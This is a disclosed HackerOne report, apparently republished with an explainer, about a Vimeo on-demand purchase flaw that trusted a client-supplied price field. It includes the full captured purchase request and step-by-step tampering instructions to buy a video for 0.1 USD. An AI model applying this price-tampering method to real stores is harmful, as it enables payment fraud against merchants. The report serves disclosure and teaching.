Skip to content
Access control Disclosed report Beginner

Buying ondemand videos that 0.1 and sometimes for free

The price of an on-demand video was taken from a client-supplied form field in the purchase request, so an attacker could change it to a lower amount and pay far less than the listed price. The reporter demonstrated buying a video for 0.1 USD instead of the displayed price.

defmax Follow

Originally disclosed on HackerOne

  • Triaged in under an hour
  • Fixed in 18 hours
  • Paid in 18 hours
  • Disclosed after 31 days

hello sir

this is N B Sri Harsha

I Have found an IDOR where we can buy ondemand videos for free ( but i tested on 0.1$)

here is what you should do

go any ondemand video like https://vimeo.com/ondemand/snowman

click on buy !

start the burp , you wil get an request like this

POST /store/ondemand/buy/28167 HTTP/1.1 Host: vimeo.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://vimeo.com/store/ondemand/buy/28167 Cookie: s=1; player=""; vuid=608125766.1104376581; __utma=18302654.630332069.1421183018.1421183018.1421183018.1; __utmb=18302654.6.10.1421183018; __utmc=18302654; __utmz=18302654.1421183018.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __utmv=18302654.|3=ms=0=1; optimizelySegments=%7B%22198520930%22%3A%22direct%22%2C%22213082152%22%3A%22none%22%2C%22199004622%22%3A%22ff%22%2C%22222271074%22%3A%22true%22%2C%22199138489%22%3A%22false%22%7D; optimizelyEndUserId=oeu1421183048043r0.5468938191003022; optimizelyBuckets=%7B%7D; ki_t=1421183070473%3B1421183070473%3B1421183070473%3B1%3B1; ki_r=; vod_s=%7B%22start_location%22%3A%22container%22%2C%22referrer%22%3A%22https%3A%5C%2F%5C%2Fvimeo.com%5C%2Fondemand%22%2C%22id%22%3A28167%7D; xsrft=de3c4b9f52cbd04b2aa02603f77da742.0; vimeo_cart=%7B%22ondemand%22%3A%7B%22store%22%3A%22ondemand%22%2C%22version%22%3A1%2C%22quantities%22%3A%7B%22433225%22%3A1%7D%2C%22items%22%3A%5B%7B%22id%22%3A433225%7D%5D%2C%22currency%22%3A%22USD%22%2C%22attributes%22%3A%5B%5D%7D%7D; vimeo=epk9k9dxcd70pcdxccmkcmx7jpcdxccmkxkc7l5i_e%2C5apc7%2Cpkd9mv2xcx52usfx99uffrc292xrvxcs0rcwf2f22; xsrft=12a027375de9e0e4c6f3cbbc90eabc88.acd22c2a2bdf0aed2889ddb61d9e34d7 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 696

vin_WebSession_VID=5e1dba6a511e15efeb2a863ea37fec67c35c543f&vin_Transaction_nameValues_cart=%7B%22store%22%3A%22ondemand%22%2C%22version%22%3A1%2C%22quantities%22%3A%7B%22433225%22%3A1%7D%2C%22items%22%3A%5B%7B%22id%22%3A433225%7D%5D%2C%22currency%22%3A%22USD%22%2C%22attributes%22%3A%5B%5D%7D&vin_Transaction_transactionItems_0_sku=433225&vin_Transaction_transactionItems_0_name=Snow%2C+Man&vin_Transaction_transactionItems_0_price=5.99&vin_Transaction_transactionItems_0_quantity=1&vin_Transaction_transactionItems_0_taxClassification=TaxExempt&action=purchase&paypal_credit=PayPal&token=35ee3f893bc831e9c39a91003611440f.0&token=12a027375de9e0e4c6f3cbbc90eabc88.acd22c2a2bdf0aed2889ddb61d9e34d7

now change the value of "vin_Transaction_transactionItems_0_price" = 0.1 , and click forward the request

and pay via paypal , thats it u can watch any ondemand video for 0.1$

The original report as published on HackerOne, by defmax. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the server trusted the client-supplied price field in the purchase request instead of looking up the item's real price on the server side.

Impact

An attacker could buy on-demand videos at a reduced price, as demonstrated at 0.1 USD.

What the attacker needed

An intercepting proxy; a PayPal payment method

How it was found

  1. Open an on-demand video page and click buy.
  2. Capture the purchase request with an intercepting proxy.
  3. Change the price field in the request body to a lower value.
  4. Forward the request and complete payment via PayPal.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you buy something online, the price should be decided by the shop's server, not by your browser. Here the request that completes a purchase included the price as a field the buyer could edit, and the server trusted it. By lowering that number, the buyer paid much less than the real price.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by defmax

View all

7 more disclosed reports, best first.

More from Vimeo

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.